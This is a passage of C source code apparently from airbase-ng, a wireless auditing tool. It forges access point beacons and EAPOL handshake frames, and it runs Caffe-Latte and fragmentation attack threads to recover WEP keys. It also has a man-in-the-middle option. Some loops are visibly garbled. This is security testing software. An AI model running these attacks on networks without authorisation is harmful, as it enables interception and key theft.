essid); printf("\n"); } memset(st_cur->essid, 0, 256); memcpy(st_cur->essid, essid, 255); st_cur->essid_length = strlen(essid); memset(essid, 0, 256); /* either specified or determined */ if( (opt.sendeapol && ( opt.wpa1type || opt.wpa2type ) ) || (st_cur->wpatype && st_cur->wpahash) ) { st_cur->wpa.state = 0; for(i=0; i<32; i++) st_cur->wpa.anonce[i] = rand()&0xFF; st_cur->wpa.state |= 1; /* build first eapol frame */ memcpy(h80211, "\x08\x02\xd5\x00", 4); len = 4; memcpy(h80211+len, smac, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; h80211[len] = 0x60; h80211[len+1] = 0x0f; len += 2; //llc+snap memcpy(h80211+len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8); len += 8; //eapol memset(h80211+len, 0, 99); h80211[len] = 0x01;//version h80211[len+1] = 0x03;//type h80211[len+2] = 0x00; h80211[len+3] = 0x5F;//len if(opt.wpa1type) h80211[len+4] = 0xFE; //WPA1 if(opt.wpa2type) h80211[len+4] = 0x02; //WPA2 if(!opt.wpa1type && !opt.wpa2type) { if(st_cur->wpatype == 1) //WPA1 h80211[len+4] = 0xFE; //WPA1 else h80211[len+4] = 0x02; //WPA2 } if(opt.sendeapol >= 1 && opt.sendeapol <= 2) //specified { if(opt.sendeapol == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } else //from asso { if(st_cur->wpahash == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else if(st_cur->wpahash == 2) //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } h80211[len+7] = 0x00; h80211[len+8] = 0x20; //keylen memset(h80211+len+9, 0, 90); memcpy(h80211+len+17, st_cur->wpa.anonce, 32); len+=99; send_packet(h80211, len); } return 0; } return 0; } return 0; } void beacon_thread( void *arg ) { struct AP_conf apc; struct timeval tv, tv1, tv2; u_int64_t timestamp; unsigned char beacon[512]; int beacon_len=0; int seq=0, i=0, n=0; int essid_len, temp_channel; char *essid = ""; pESSID_t cur_essid = rESSID; float f, ticks[3]; memcpy(&apc, arg, sizeof(struct AP_conf)); ticks[0]=0; ticks[1]=0; ticks[2]=0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return; } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000.0 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ( (double)ticks[2] / (double)RTC_RESOLUTION ) >= ((double)apc.interval/1000.0)*(double)seq ) { /* threshold reach, send one frame */ // ticks[2] = 0; fflush(stdout); gettimeofday( &tv1, NULL ); timestamp=tv1.tv_sec*1000000 + tv1.tv_usec; fflush(stdout); if(cur_essid == NULL) { cur_essid = rESSID; cur_essid = cur_essid->next; } if(cur_essid == NULL) { essid = "default"; essid_len = strlen(essid); } else { /* flush expired ESSID entries */ flushESSID(); essid = cur_essid->essid; essid_len = cur_essid->len; cur_essid = cur_essid->next; } beacon_len = 0; memcpy(beacon, "\x80\x00\x00\x00", 4); //type/subtype/framecontrol/duration beacon_len+=4; memcpy(beacon+beacon_len , BROADCAST, 6); //destination beacon_len+=6; if(!opt.adhoc) memcpy(beacon+beacon_len, apc.bssid, 6); //source else memcpy(beacon+beacon_len, opt.r_smac, 6); //source beacon_len+=6; memcpy(beacon+beacon_len, apc.bssid, 6); //bssid beacon_len+=6; memcpy(beacon+beacon_len, "\x00\x00", 2); //seq+frag beacon_len+=2; memcpy(beacon+beacon_len, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12); //fixed information beacon[beacon_len+8] = (apc.interval * MAX(getESSIDcount(), 1) ) & 0xFF; //beacon interval beacon[beacon_len+9] = (apc.interval * MAX(getESSIDcount(), 1) >> 8) & 0xFF; memcpy(beacon+beacon_len+10, apc.capa, 2); //capability beacon_len+=12; beacon[beacon_len] = 0x00; //essid tag beacon[beacon_len+1] = essid_len; //essid tag beacon_len+=2; memcpy(beacon+beacon_len, essid, essid_len); //actual essid beacon_len+=essid_len; memcpy(beacon+beacon_len, RATES, sizeof(RATES) -1); //rates beacon_len += sizeof(RATES) -1; beacon[beacon_len] = 0x03; //channel tag beacon[beacon_len+1] = 0x01; temp_channel = wi_get_channel(_wi_in); //current channel if (!invalid_channel_displayed) { if (temp_channel > 255) { // Display error message once invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value < 256.\n", temp_channel); } else if (temp_channel < 1) { invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value > 0.\n", temp_channel); } } beacon[beacon_len+2] = ((temp_channel > 255 || temp_channel < 1) && opt.channel != 0) ? opt.channel : temp_channel; beacon_len+=3; if( opt.allwpa ) { memcpy(beacon+beacon_len, ALL_WPA2_TAGS, sizeof(ALL_WPA2_TAGS) -1); beacon_len += sizeof(ALL_WPA2_TAGS) -1; } else if(opt.wpa2type > 0) { memcpy(beacon+beacon_len, WPA2_TAG, 22); beacon[beacon_len+7] = opt.wpa2type; beacon[beacon_len+13] = opt.wpa2type; beacon_len += 22; } // Add extended rates memcpy(beacon + beacon_len, EXTENDED_RATES, sizeof(EXTENDED_RATES) -1); beacon_len += sizeof(EXTENDED_RATES) -1; if( opt.allwpa ) { memcpy(beacon+beacon_len, ALL_WPA1_TAGS, sizeof(ALL_WPA1_TAGS) -1); beacon_len += sizeof(ALL_WPA1_TAGS) -1; } else if(opt.wpa1type > 0) { memcpy(beacon+beacon_len, WPA1_TAG, 24); beacon[beacon_len+11] = opt.wpa1type; beacon[beacon_len+17] = opt.wpa1type; beacon_len += 24; } //copy timestamp into beacon; a mod 2^64 counter incremented each microsecond for(i=0; i<8; i++) { beacon[24+i] = ( timestamp >> (i*8) ) & 0xFF; } beacon[22] = (seq << 4) & 0xFF; beacon[23] = (seq >> 4) & 0xFF; fflush(stdout); if( send_packet( beacon, beacon_len ) < 0 ) { printf("Error sending beacon!\n"); return; } seq++; } } } void caffelatte_thread( void ) { struct timeval tv, tv2; float f, ticks[3]; int arp_off1=0; int nb_pkt_sent_1=0; int seq=0; ticks[0]=0; ticks[1]=0; ticks[2]=0; while( 1 ) { /* sleep until the next clock tick */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000.0 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); if( ( (double)ticks[2] / (double)RTC_RESOLUTION ) >= ((double)1000.0/(double)opt.r_nbpps)*(double)seq ) { /* threshold reach, send one frame */ // ticks[2] = 0; if( opt.nb_arp > 0 ) { if( nb_pkt_sent_1 == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return; nb_pkt_sent_1++; if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent_1 ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return; nb_pkt_sent_1++; } if( ++arp_off1 >= opt.nb_arp ) arp_off1 = 0; } } } } int del_next_CF(pCF_t curCF) { pCF_t tmp; if(curCF == NULL) return 1; if(curCF->next == NULL) return 1; tmp = curCF->next; curCF -> next = tmp->next; free(tmp); return 0; } int cfrag_fuzz(unsigned char *packet, int frags, int frag_num, int length, unsigned char rnd[2]) { int z, i; uchar overlay[4096]; uchar *smac = NULL; if(packet == NULL) return 1; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length <= z+8) return 1; if(frags < 1) return 1; if(frag_num < 0 || frag_num > frags) return 1; if( (packet[1] & 3) <= 1 ) smac = packet + 10; else if( (packet[1] & 3) == 2 ) smac = packet + 16; else smac = packet + 24; memset(overlay, 0, 4096); smac[4] ^= rnd[0]; smac[5] ^= rnd[1]; if(frags == 1 && frag_num == 1) /* ARP final */ { overlay[z+14] = rnd[0]; overlay[z+15] = rnd[1]; overlay[z+18] = rnd[0]; overlay[z+19] = rnd[1]; add_crc32_plain(overlay+z+4, length-z-4-4); } else if(frags == 3 && frag_num == 3)/* IP final */ { overlay[z+12] = rnd[0]; overlay[z+13] = rnd[1]; overlay[z+16] = rnd[0]; overlay[z+17] = rnd[1]; add_crc32_plain(overlay+z+4, length-z-4-4); } for(i=0; i= ((double)1000.0/(double)opt.r_nbpps)*(double)seq ) { /* threshold reach, send one frame */ // ticks[2] = 0; pthread_mutex_lock( &mx_cf ); if( opt.cf_count > 0 ) { curCF = rCF; if(curCF->next == NULL) { opt.cf_count = 0; pthread_mutex_unlock( &mx_cf ); continue; } while( curCF->next != NULL && curCF->next->xmitcount >= MAX_CF_XMIT ) { del_next_CF(curCF); } if(curCF->next == NULL) { opt.cf_count = 0; pthread_mutex_unlock( &mx_cf ); continue; } curCF = curCF->next; if( nb_pkt_sent_1 == 0 ) ticks[0] = 0; rnd[0] = rand() % 0xFF; rnd[1] = rand() % 0xFF; for(i=0; ifragnum; i++ ) { memcpy(buffer, curCF->frags[i], curCF->fraglen[i]); cfrag_fuzz(buffer, curCF->fragnum, i, curCF->fraglen[i], rnd); if( send_packet( buffer, curCF->fraglen[i] ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } } memcpy(buffer, curCF->final, curCF->finallen); cfrag_fuzz(buffer, curCF->fragnum, curCF->fragnum, curCF->finallen, rnd); if( send_packet( buffer, curCF->finallen ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } curCF->xmitcount++; nb_pkt_sent_1++; if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent_1 ) { rnd[0] = rand() % 0xFF; rnd[1] = rand() % 0xFF; for(i=0; ifragnum; i++ ) { memcpy(buffer, curCF->frags[i], curCF->fraglen[i]); cfrag_fuzz(buffer, curCF->fragnum, i, curCF->fraglen[i], rnd); if( send_packet( buffer, curCF->fraglen[i] ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } } memcpy(buffer, curCF->final, curCF->finallen); cfrag_fuzz(buffer, curCF->fragnum, curCF->fragnum, curCF->finallen, rnd); if( send_packet( buffer, curCF->finallen ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } curCF->xmitcount++; nb_pkt_sent_1++; } } pthread_mutex_unlock( &mx_cf ); } } } int main( int argc, char *argv[] ) { int ret_val, len, i, n; struct pcap_pkthdr pkh; fd_set read_fds; unsigned char buffer[4096]; char *s, buf[128], *fessid; int caplen; struct AP_conf apc; unsigned char mac[6]; /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); memset( &apc, 0, sizeof( struct AP_conf )); rESSID = (pESSID_t) malloc(sizeof(struct ESSID_list)); memset(rESSID, 0, sizeof(struct ESSID_list)); rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list)); memset(rFragment, 0, sizeof(struct Fragment_list)); rClient = (pMAC_t) malloc(sizeof(struct MAC_list)); memset(rClient, 0, sizeof(struct MAC_list)); rBSSID = (pMAC_t) malloc(sizeof(struct MAC_list)); memset(rBSSID, 0, sizeof(struct MAC_list)); rCF = (pCF_t) malloc(sizeof(struct CF_packet)); memset(rCF, 0, sizeof(struct CF_packet)); #ifdef USE_GCRYPT // Register callback functions to ensure proper locking in the sensitive parts of libgcrypt. gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread); // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif pthread_mutex_init( &mx_cf, NULL ); pthread_mutex_init( &mx_cap, NULL ); opt.r_nbpps = 100; opt.tods = 0; opt.setWEP = -1; opt.skalen = 128; opt.filter = -1; opt.ringbuffer = 10; opt.nb_arp = 0; opt.f_index = 1; opt.interval = 0x64; opt.channel = 0; opt.beacon_cache = 0; /* disable by default */ opt.ti_mtu = TI_MTU; opt.wif_mtu = WIF_MTU; invalid_channel_displayed = 0; srand( time( NULL ) ); while( 1 ) { int option_index = 0; static struct option long_options[] = { {"beacon-cache",1, 0, 'C'}, {"bssid", 1, 0, 'b'}, {"bssids", 1, 0, 'B'}, {"channel", 1, 0, 'c'}, {"client", 1, 0, 'd'}, {"clients", 1, 0, 'D'}, {"essid", 1, 0, 'e'}, {"essids", 1, 0, 'E'}, {"promiscuous", 0, 0, 'P'}, {"interval", 1, 0, 'I'}, {"mitm", 0, 0, 'M'}, {"hidden", 0, 0, 'X'}, {"caffe-latte", 0, 0, 'L'}, {"cfrag", 0, 0, 'N'}, {"verbose", 0, 0, 'v'}, {"ad-hoc", 0, 0, 'A'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "a:h:i:C:I:r:w:HPe:E:c:d:D:f:W:qMY:b:B:XsS:Lx:vAz:Z:yV:0NF:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : opt.channel = atoi(optarg); if (opt.channel > 255 || opt.channel < 1) { printf("Invalid channel value <%d>. It must be between 1 and 255.\n", opt.channel); return( 1 ); } break; case 'V' : opt.sendeapol = atoi(optarg); if(opt.sendeapol < 1 || opt.sendeapol > 3) { printf( "EAPOL value can only be 1[MD5], 2[SHA1] or 3[auto].\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'v' : opt.verbose = 1; if( opt.quiet != 0 ) { printf( "Don't specify -v and -q at the same time.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'z' : opt.wpa1type = atoi(optarg); if( opt.wpa1type < 1 || opt.wpa1type > 5 ) { printf( "Invalid WPA1 type [1-5]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if (opt.setWEP == -1) { opt.setWEP = 1; } break; case 'Z' : opt.wpa2type = atoi(optarg); if( opt.wpa2type < 1 || opt.wpa2type > 5 ) { printf( "Invalid WPA2 type [1-5]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if (opt.setWEP == -1) { opt.setWEP = 1; } break; case 'e' : if( addESSID(optarg, strlen(optarg), 0) != 0 ) { printf( "Invalid ESSID, too long\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.f_essid = 1; break; case 'E' : if( addESSIDfile(optarg) != 0 ) return( 1 ); opt.f_essid = 1; break; case 'P' : opt.promiscuous = 1; break; case 'I' : opt.interval = atoi(optarg); break; case 'C' : opt.beacon_cache = atoi(optarg); break; case 'A' : opt.adhoc = 1; break; case 'N' : opt.cf_attack = 1; break; case 'X' : opt.hidden = 1; break; case '0' : opt.allwpa = 1; if(opt.sendeapol == 0) opt.sendeapol = 3; break; case 'x' : opt.r_nbpps = atoi(optarg); if(opt.r_nbpps < 1 || opt.r_nbpps > 1000) { printf( "Invalid speed. [1-1000]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' : opt.forceska = 1; break; case 'f' : if( strncasecmp(optarg, "allow", 5) == 0 || strncmp(optarg, "0", 1) == 0 ) { opt.filter = ALLOW_MACS; //block all, allow the specified macs } else if( strncasecmp(optarg, "disallow", 5) == 0 || strncmp(optarg, "1", 1) == 0 ) { opt.filter = BLOCK_MACS; //allow all, block the specified macs } else { printf( "Invalid macfilter mode. [allow|disallow]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'S' : if(atoi(optarg) < 16 || atoi(optarg) > 1480) { printf( "Invalid challenge length. [16-1480]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.skalen = atoi(optarg); break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; break; case 'W' : if(atoi(optarg) < 0 || atoi(optarg) > 1) { printf( "Invalid argument for (-W). Only \"0\" and \"1\" allowed.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.setWEP = atoi(optarg); break; case 'M' : opt.mitm = 1; break; case 'L' : opt.caffelatte = 1; break; case 'y' : opt.nobroadprobe = 1; break; case 'Y' : if( strncasecmp(optarg, "in", 2) == 0 ) { opt.external |= EXT_IN; //process incomming frames } else if( strncasecmp(optarg, "out", 3) == 0) { opt.external |= EXT_OUT; //process outgoing frames } else if( strncasecmp(optarg, "both", 4) == 0 || strncasecmp(optarg, "all", 3) == 0) { opt.external |= EXT_IN | EXT_OUT; //process both directions } else { printf( "Invalid processing mode. [in|out|both]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'q' : opt.quiet = 1; if( opt.verbose != 0 ) { printf( "Don't specify -v and -q at the same time.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'w' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WEP; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WEP key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.wepkey[i++] = n; if( i >= 64 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 ) { printf( "Invalid WEP key length.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.weplen = i; break; case 'F': if (opt.dump_prefix != NULL) { printf( "Notice: dump prefix already given\n" ); break; } /* Write prefix */ opt.dump_prefix = optarg; opt.record_data = 1; break; case 'd': if(getmac(optarg, 1, mac) == 0) { addMAC(rClient, mac); } else { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'D': if(addMACfile(rClient, optarg) != 0) return( 1 ); if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'b': if(getmac(optarg, 1, mac) == 0) { addMAC(rBSSID, mac); } else { printf( "Invalid BSSID address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'B': if(addMACfile(rBSSID, optarg) != 0) return( 1 ); if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'H' : printf( usage, getVersion("Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(opt.f_bssid, NULL_MAC, 6) == 0 ) ) { printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.mitm && (getMACcount(rBSSID) != 1 || getMACcount(rClient) < 1) ) { printf("Notice: You need to specify exactly one BSSID (-b)" " and at least one client MAC (-d)\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.wpa1type && opt.wpa2type ) { printf("Notice: You can only set one method: WPA (-z) or WPA2 (-Z)\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } // if( opt.sendeapol && !opt.wpa1type && !opt.wpa2type ) // { // printf("Notice: You need to specify which WPA method to use" // " together with EAPOL. WPA (-z) or WPA2 (-Z)\n"); // printf("\"%s --help\" for help.\n", argv[0]); // return( 1 ); // } if( opt.allwpa && (opt.wpa1type || opt.wpa2type) ) { printf("Notice: You cannot use all WPA tags (-0)" " together with WPA (-z) or WPA2 (-Z)\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( 1 ) { if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( dev.fd_rtc > 0 ) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } } #endif /* linux */ #endif /* __i386__ */ /* open the replay interface */ _wi_out = wi_open(argv[optind]); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; } /* drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } setuid( getuid() ); /* XXX */ if( opt.r_nbpps == 0 ) { if( dev.is_wlanng || dev.is_hostap ) opt.r_nbpps = 200; else opt.r_nbpps = 500; } if (opt.record_data) if( dump_initialize( opt.dump_prefix ) ) return( 1 ); if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } dev.dv_ti = ti_open(NULL); if(!dev.dv_ti) { printf( "error opening tap device: %s\n", strerror( errno ) ); return -1; } if(!opt.quiet) { PCT; printf( "Created tap interface %s\n", ti_name(dev.dv_ti)); } //Set MTU on tun/tap interface to a preferred value if(!opt.quiet) { PCT; printf( "Trying to set MTU on %s to %i\n", ti_name(dev.dv_ti), opt.ti_mtu); } if( ti_set_mtu(dev.dv_ti, opt.ti_mtu) != 0) { if(!opt.quiet) { printf( "error setting MTU on %s\n", ti_name(dev.dv_ti)); } opt.ti_mtu = ti_get_mtu(dev.dv_ti); if(!opt.quiet) { PCT; printf( "MTU on %s remains at %i\n", ti_name(dev.dv_ti), opt.ti_mtu); } } //Set MTU on wireless interface to a preferred value if( wi_get_mtu(_wi_out) < opt.wif_mtu ) { if(!opt.quiet) { PCT; printf( "Trying to set MTU on %s to %i\n", _wi_out->wi_interface, opt.wif_mtu); } if( wi_set_mtu(_wi_out, opt.wif_mtu) != 0 ) { opt.wif_mtu = wi_get_mtu(_wi_out); if(!opt.quiet) { printf( "error setting MTU on %s\n", _wi_out->wi_interface); PCT; printf( "MTU on %s remains at %i\n", _wi_out->wi_interface, opt.wif_mtu); } } } if(opt.external) { dev.dv_ti2 = ti_open(NULL); if(!dev.dv_ti2) { printf( "error opening tap device: %s\n", strerror( errno ) ); return -1; } if(!opt.quiet) { PCT; printf( "Created tap interface %s for external processing.\n", ti_name(dev.dv_ti2)); printf( "You need to get the interfaces up, read the fames [,modify]\n"); printf( "and send them back through the same interface \"%s\".\n", ti_name(dev.dv_ti2)); } } if(opt.channel > 0) wi_set_channel(_wi_out, opt.channel); if( memcmp( opt.r_bssid, NULL_MAC, 6) == 0 && !opt.adhoc) { wi_get_mac( _wi_out, opt.r_bssid); } if( memcmp( opt.r_smac, NULL_MAC, 6) == 0 ) { wi_get_mac( _wi_out, opt.r_smac); } if(opt.adhoc) { for(i=0; i<6; i++) //random cell opt.r_bssid[i] = rand() & 0xFF; //generate an even first byte if(opt.r_bssid[0] & 0x01) opt.r_bssid[0] ^= 0x01; } memcpy(apc.bssid, opt.r_bssid, 6); if( getESSIDcount() == 1 && opt.hidden != 1) { fessid = getESSID(&(apc.essid_len)); apc.essid = (char*) malloc(apc.essid_len + 1); memcpy(apc.essid, fessid, apc.essid_len); apc.essid[apc.essid_len] = 0x00; } else { apc.essid = "\x00"; apc.essid_len = 1; } apc.interval = opt.interval; apc.capa[0] = 0x00; if(opt.adhoc) apc.capa[0] |= 0x02; else apc.capa[0] |= 0x01; if( (opt.crypt == CRYPT_WEP && opt.setWEP == -1) || opt.setWEP == 1 ) apc.capa[0] |= 0x10; apc.capa[1] = 0x04; if(ti_set_mac(dev.dv_ti, opt.r_bssid) != 0) { printf("\n"); perror("ti_set_mac failed"); printf("You most probably want to set the MAC of your TAP interface.\n"); printf("ifconfig hw ether %02X:%02X:%02X:%02X:%02X:%02X\n\n\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5]); } if(opt.external) { if(ti_set_mac(dev.dv_ti2, (unsigned char*)"\xba\x98\x76\x54\x32\x10") != 0) { printf("Couldn't set MAC on interface \"%s\".\n", ti_name(dev.dv_ti2)); } } //start sending beacons if( pthread_create( &(beaconpid), NULL, (void *) beacon_thread, (void *) &apc ) != 0 ) { perror("Beacons pthread_create"); return( 1 ); } if( opt.caffelatte ) { arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); if( pthread_create( &(caffelattepid), NULL, (void *) caffelatte_thread, NULL ) != 0 ) { perror("Caffe-Latte pthread_create"); return( 1 ); } } if( opt.cf_attack ) { if( pthread_create( &(cfragpid), NULL, (void *) cfrag_thread, NULL ) != 0 ) { perror("cfrag pthread_create"); return( 1 ); } } if( !opt.quiet ) { if(opt.adhoc) { PCT; printf("Sending beacons in Ad-Hoc mode for Cell %02X:%02X:%02X:%02X:%02X:%02X.\n", opt.r_bssid[0],opt.r_bssid[1],opt.r_bssid[2],opt.r_bssid[3],opt.r_bssid[4],opt.r_bssid[5]); } else { PCT; printf("Access Point with BSSID %02X:%02X:%02X:%02X:%02X:%02X started.\n", opt.r_bssid[0],opt.r_bssid[1],opt.r_bssid[2],opt.r_bssid[3],opt.r_bssid[4],opt.r_bssid[5]); } } for( ; ; ) { if(opt.s_file != NULL) { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { PCT; printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) ) { PCT; printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { PCT; printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == 